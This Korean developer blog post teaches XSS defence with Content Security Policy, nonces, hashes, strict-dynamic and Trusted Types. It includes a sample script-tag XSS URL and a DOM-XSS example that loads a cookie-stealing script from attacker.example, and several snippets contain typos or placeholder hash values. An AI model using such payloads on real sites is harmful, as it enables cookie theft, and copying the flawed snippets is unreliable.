Content Security Policy를 사용한 XSS 대처하기

CSP는 서버에서 허용되지 않은 자바스크립트의 실행과 리소스 불러오기 등을 차단하며, 대부분의 브라우저에서 CSP를 지원합니다.

CSP는 Content-Security-Policy 헤더를 응답에 포함해 활성화할 수 있습니다.

Content-Security-Policy: script-src *.trusted.example

응답 헤더뿐 아니라 HTML에 <meta> 요소로 CSP 설정을 포함할 수도 있습니다. 서버를 필요로 하지 않는 정적 사이트에서도 CSP를 사용할 수 있는것이죠.

<head>
  <meta
    http-equv="Content-Security-Policy"
    content="script-src *.trusted.com"
  />
</head>

그러나 HTTP 헤더의 CSP 설정이 우선되거나 일부 설정을 사용할 수 없다는 점에서는 주의가 필요합니다.

Content-Security-Policy 헤더에 지정된 script-src *.trusted.com과 같은 값을 policy directive 또는 간단하게 directive라고 합니다. directive는 콘텐츠 유형별로 리소스를 불러오는 방법의 제한을 지정합니다.

요소를 사용해 CSP를 설정할 때, directive는 content 속성 안에 포함됩니다. 앞에서 예로 든 CSP 헤더의 값인 script-src *.trusted.com에서, script-src는 directive를 의미합니다.

이는 trusted.com과 서브 도메인의 자바스크립트 파일만 불러올 수 있음을 나타냅니다. directive에 지정되지 않은 호스트명의 서버에서는 자바스크립트 파일을 불러오지 않습니다. 정책을 위반하는 파일을 불러오려고 하면 브라우저는 이를 차단하고 에러를 발생시킵니다. 이때 자신의 도메인에서 호스팅하는 자바스크립트의 불러오기도 제한되므로 이를 허용하려면 self 키워드를 사용해야 합니다.

Content-Security-Policy: script-src, 'self' *.trusted.com

다음과 같이 세미콜론으로 여러 directive를 지정해도 됩니다.

Content-Security-Policy: default-src 'self'; script-src 'self' *.trusted.com

위의 설정을 해석해보자면 이렇습니다. 기본적으로 모든 리소스는 현재 페이지의 도메인에서만 불러올 수 있지만 자바스크립트에 한해서는 현재 페이지 도메인과 *.trusted.com 도메인에서 불러오는 것을 허용한다는 것입니다.

1. 대표적인 directive

directive명의미
script-src자바스크립트 등 스크립트 실행 허용
style-srcCSS등 스타일 적용 허용
img-src이미지 불러오기 허용
media-src사운드, 영상 불러오기 허용
connect-srcXHR과 fetch 함수 등 네트워크 접근 허용
default-src지정되지 않은 directive 전체 허용
frame-ancestorsiframe 등 현재 페이지에 삽입 허용
upgrade-insecure-requestshttp://로 시작하는 URL 리소스를 https://로 시작하는 URL로 변환하여 요청
sandbox콘텐츠를 샌드박스화하여 외부로부터 접근 등을 제어

2. 소스 키워드

앞에서 설명한 self와 같이 소스에 지정할 수 있는 특별한 의미가 있는 키워드는 다음과 같습니다.

키워드설명
selfCSP로 보호하는 페이지와 동일 출처만 허용
none모든 출처 허용하지 않음
unsafe-inlinescript-src와 style-src의 directive에서 인라인 스크립트 및 인라인 스타일을 사용하도록 허용
→ 추천하지 않음 뒤에서 설명할 nonce를 사용하는 방법이 안전
unsafe-evalscript-src의 directive에서 eval 함수 사용 허용
unsafe-hashesscript-src의 directive에서 DOM에 설정된 onclick와 onfocus 등의 이벤트 실행을 허용하지만

Strict CSP

안전하게 인라인 스크립트와 인라인 스타일을 실행하도록 허용하려면 nonce-source와 hash-source라는 CSP 헤더를 사용해야 합니다. 2016년 구글의 조사에 따르면 호스트명을 지정하는 CSP 설정을 사용한 웹 애플리케이션은 호스트에 제공되는 콘텐츠와 자바스크립트를 사용하면 CSP를 우회하여 XSS 공격이 가능하다고 지적합니다.

  • 우리 페이지가 안전하다는 보장이 있을까?
    • 서드파티 라이브러리를 사용
    • 사용자가 제어가능한 동적인 컨텐츠가 있을 때
    • 광고 섹션

<예시>

https://example.com/?search=<script>alert('XSS');</script>

구글은 호스트명을 지정하는 대신 nonce-source와 hash-source를 사용한 Script CSP를 추천합니다.

Content-Security-Policy:
  script-src 'nonce-tXCHNF14TxHbV==' 'strict-dynamic' https: 'unsafe-inline';
  object-src 'none';
  base-uri 'none';

1. nonce-source

nonce-source

nonce-source를 사용하려면 다음과 같은 CSP 헤더를 응답에 포함시켜야 합니다.

Content-Security-Policy: script-src 'nonce-tXCHNF14TxHBnbfji23=='

CSP 헤더에서 지정한 토큰을 다음과 같이

<script nonce="tXCHNF14TxHBnbfji23==">
  alert("이 script는 허용된 상태이므로 실행됨")
</script>
<script>
  alert("이 script는 허용되지 않은 상태이므로 실행되지 않음")
</sciprt>

nonce-source를 사용할 때 제한하는 것은 인라인 스크립트와 인라인 스타일만이 아니며 자바스크립트 파일의 실행도 제한할 수 있습니다. nonce 속성값이 맞다면 교차 출처의 자바스크립트 파일도 실행이 허용됩니다.

<script src="./allowed.js" nonce="tXCHNF14TxHBnbfji23=="></script>
<script src=https://cross-origin.example/allowed.js nonce="tXCHNF14TxHBnbfji23=="/>

nonce-source가 유효한 페이지라하더라도 onclick 속성 등으로 지정된 이벤트 핸들러의 실행은 금지됩니다. 이 경우엔 자바스크립트를 사용해 이벤트 리스너를 등록해야 합니다.

<button id="myButton">Click me</button>
<script nonce="tXCHNF14TxHBnbfji23==">
    document.getElementById('myButton').addEventListener('click', function() {
        alert('허용!');
    });
</script>

2. hash-source

또 다른 방법은 hash-source 입니다. hash-source는 CSP 헤더에 자바스크립트와 CSS 코드의 해시값을 지정하는 방법입니다. 서버가 없는 정적 사이트는 요청마다 nonce 값을 생성할 수 없기 때문에 hash-source를 사용하여 안전하게 CSP를 설정할 수 있습니다.

예를 들어 아래와 같은 인라인 스크립트가 있을 때

<script>alert(1);</script>

alert()을 SHA256라고 하는 해시 알고리즘으로 계산해 Base64로 인코딩한 값은 다음과 같습니다.

5jFwrAK0uVUwejfiowefjoi3jioj2wofie

이 값을 다음과 같이 CSP 헤더에 설정합니다.

Content-Security-Policy: script-src 'sha256-5jFwrAK0uVUwejfiowefjoi3jioj2wofie'

만약에 스크립트의 내용이 한글자라도 다르면 해시값은 완전히 달라지고 안전하지 않은 실행을 방지할 수 있습니다. 따라서 HTML을 동적으로 변경할 수 없는 경우 nonce-source를 사용하지 않고 hash-source를 사용하는 편이 좋습니다.

strict-dynamic

nonce-source나 hash-source를 사용하면 인라인 스크립트를 안전하게 실행할 수 있습니다. 그러나 이를 통해 허용된 자바스크립트 코드에서도 다음과 같이 동적인

<script nonce="tXCHNF14TxHBnbfji23">
            const script = document.createElement('script');
            script.src = "https://cross-origin.example/main.js";
            document.body.appendChild(script);
        });
</script>

이럴 때는 strict-dynamic 키워드를 다음과 같이 CSP 헤더에 설정합니다.

Content-Security-Policy: script-src 'nonce-tXCHNF14TxHbV==' 'strict-dynamic'

이제 script 요소의 동적 생성을 허용하지만 여전히 InnerHTML과 document.write는 기능이 제한됩니다.

object-src / base-uri

object-src는 플래시와 같은 플러그인을 제한하는 directive입니다. object-src ‘none’으로 설정하면 플래시와 같은 플러그인을 악용한 공격을 방지할 수 있습니다. base-uri는 요소를 제한하는 directive입니다. 요소는 링크와 리소스 URL의 기준이 되는 URL을 설정하는 HTML 요소입니다.

<-- 기준이 되는 URL을 site.example로 설정 -->
<base href="https://site.example/">
<-- 링크 이동은 https://site.example/home -->
<a href="/home">Home</a>

공격자가 요소를 삽입하면 상대 경로에 지정된 URL을 공격자가 준비한 피싱 사이트의 URL로 변경할 수 있습니다. 따라서 base-uri ‘none’을 지정해 요소의 사용을 방지합니다.

문자열을 안전한 타입으로 사용하는 Trusted Types

Script CSP는 강력한 XSS 대책이지만 여전히 개발자의 구현 방식에 따라 DOM 기반 XSS가 발생할 가능성이 있습니다. 예를 들어 nonce-source와 strict-dynamic이 설정된 페이지에 다음과 같은 코드가 있다고 가정해봅시다.

<script nonce="howehfiohefo">
  const s = document.createElement("script");
  s.src = location.hash.slice(1);
  document.body.appendChild(s);
</script>

https://site.example#https://attacker.example/cookie-steal.js와 같은 URL로 접속하게 된 경우 HTML이 생성되어 공격자가 준비한 cookie-steal.js 파일이 실행됩니다.

이런 경우를 대비하여 검사되지 않은 문자열을 HTML에 삽입하는 것을 금지하는 Trusted Types 브라우저 기능이 있습니다. Trusted Types는 기본값이 비활성화 상태이므로 웹 애플리케이션과의 호환성 문제를 일으키지 않으며, Trusted Types는 policy라고 하는 함수가 검사한 안전한 타입만 HTML에 삽입하도록 제한합니다. Trusted Types는 문자열을 TrustedHTML, TrustedScript, Trusted ScriptURL의 세가지 유형으로 변환합니다.

Trusted Types를 활성화하려면 require-trusted-types-for ‘script’를 CSP 헤더에 지정합니다.

Content-Security-Policy: require-trusted-types-for 'script';

Trusted Types은 지금까지 설명한 CSP와 똑같이 요소를 사용해 설정하는 것도 가능합니다.

<head>
  <meta http-equiv="Content-Security-Policy" content="require-trusted-types-for 'script';>
</head>

Trusted Types는 policy 함수로 검사된 안전한 타입만 HTML에 삽입할 수 있으므로 문자열을 그대로 반영하려고 하면 에러가 발생합니다. 앞에서와 같이 동적으로

<script nonce="tXCHNF14TxHBnbfji23">
            const script = document.createElement('script');
            // 다음 행에서 에러가 발생
            script.src = "https://cross-origin.example/main.js";
            document.body.appendChild(script);
        });
</script>

여기서

1. policy 함수에 의한 검사와 변환

policy 함수window.trustedTypes.createPolicy 함수를 사용합니다. 앞에서 설명한

<script>
  // Trusted Types를 지원하는 브라우저만 처리 작업
  if (window.trustedTypes && trustedTypes.createPolicy) {
    const myPolicy = trustedTypes.createPolicy("my-policy", {
      createScriptURL: (unsafeString) => {
        const url = new URL(unsafeString, location.origin);
        // 현재 페이지와 <script> 요소에 지정하는 URL의 출처 일치 여부 체크
        if(location.origin !== url.origin){
          throw new Error("동일 출처가 아닌 script는 불러올 수 없음")
        }
        //return된 URL 객체는 안전하다고 판단
        return url;
      }
    })
  }
  const s = document.createElement("script");
  s.src = myPolicy.createScriptURL(location.hash.slice(1));
  document.body.appendChild(s);
</script>

trustedTypes.createPolicy 함수의 두번째 인수에는 문자열을 검사하기 위한 함수를 정의하는 객체를 설정합니다. 이 객체는 다음의 함수로 정의할 수 있습니다.

policy 함수역할
createHTMLHTML 문자열을 검사하여 TrustedHTML로 변환
createScript스크립트의 문자열을 검사하여 TrustedScript로 변환
createScriptURL스크립트를 불러오는 URL을 검사하여 TrustedScriptURL로 변환

policy 함수에서 DOMPurify 등의 라이브러리도 사용할 수 있고 policy를 여러개 지정할 수도 있습니다.

<script>
 function escapeHTML(input) {
            return input
                .replace(/&/g, '&amp;')
                .replace(/</g, '&lt;')
                .replace(/>/g, '&gt;')
                .replace(/"/g, '&quot;')
                .replace(/'/g, '&#39;');
        }
const escapePolicy = trustedTypes.createPolicy('escape', {
            createHTML: (input) => {
                return escapeHTML(input);
            }
        });
const sanitizePolicy = trustedTypes.createPolicy('sanitize', {
            createHTML: (input) => {
                return DOMPurify.sanitize(input);
            }
        });
</script>
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types escape sanitize

2. 디폴트 policy에 의한 검사와 변환

policy 함수의 policy 명에 default를 지정하면 Trusted Types의 디폴트 Policy를 사용할 수 있습니다. Trusted Types의 타입이 아닌 일반 문자열을 싱크에 대입하면 디폴트 policy가 문자열을 자동으로 검사합니다.

policy 함수를 만들거나 기존 코드를 수정하지 않아도 디폴트 policy를 추가하면 Trusted Types를 적용할 수 있으므로 편리합니다. 그러나 싱크에 대입하고 있는 모든 부분에 적용되므로 문제가 발생하더라도 찾기 어렵기 때문에 주의해야 합니다. 따라서 policy를 작성하고 하나씩 동작을 확인하면서 적용하는 것이 안전합니다.

Report-only 모드를 사용한 policy 테스트

CSP는 XSS를 막는 강력한 수단이지만 잘못 구현하면 웹 애플리케이션 작동에 문제가 발생할 수 있습니다. 이를 방지하기 위해 준비된 것이 Report-Only 모드입니다. Report-Only 모드는 CSP를 적용할 때 발생하는 영향을 요약한 보고서를 JSON 형식으로 전송하는 기능입니다.

Report-Only 모드를 사용하려면 Content-Policy-Report-Only 헤더를 사용합니다. report-uri의 directive를 사용해 보고서를 전송할 URL을 지정할 수도 있습니다.

Content-Security-Policy-Report-Only: script-src 'nonce-tXCHNF14TxHbV=='
  report-uri /csp-report

CSP를 위반하면 아래와 같은 JSON 형식의 보고서가 POST 메서드로 지정한 URL로 전송됩니다.

{
  "csp-report": {
    "document-uri": "https://example.com/index.html",
    "referrer": "",
    "violated-directive": "script-src-elem",
    "effective-directive": "script-src-elem",
    "original-policy": "script-src 'nonce-random' report-uri https://example.com/csp-report;",
    "disposition": "enforce",
    "blocked-uri": "inline",
    "status-code": 200,
    "script-sample": "alert('XSS Attack!')",
    "source-file": "https://example.com/index.html",
    "line-number": 42,
    "column-number": 15
  }
}

위 예는 nonce를 지정하지 않은

실제로 활용할 때는 서버로 전송된 JSON 데이터를 데이터베이스에 저장하고 Redash 등을 사용해 개발자가 보고서의 내용을 쉽게 검색할 수 있도록 하는 것이 좋습니다. 이때 User-Agent 등의 헤더 정보도 저장해두면 사용자가 사용한 브라우저의 정보 등을 확인할 수 있어 에러를 확인할 때 도움이 됩니다.

profile
👨🏻‍💻 Front-End Developer

0개의 댓글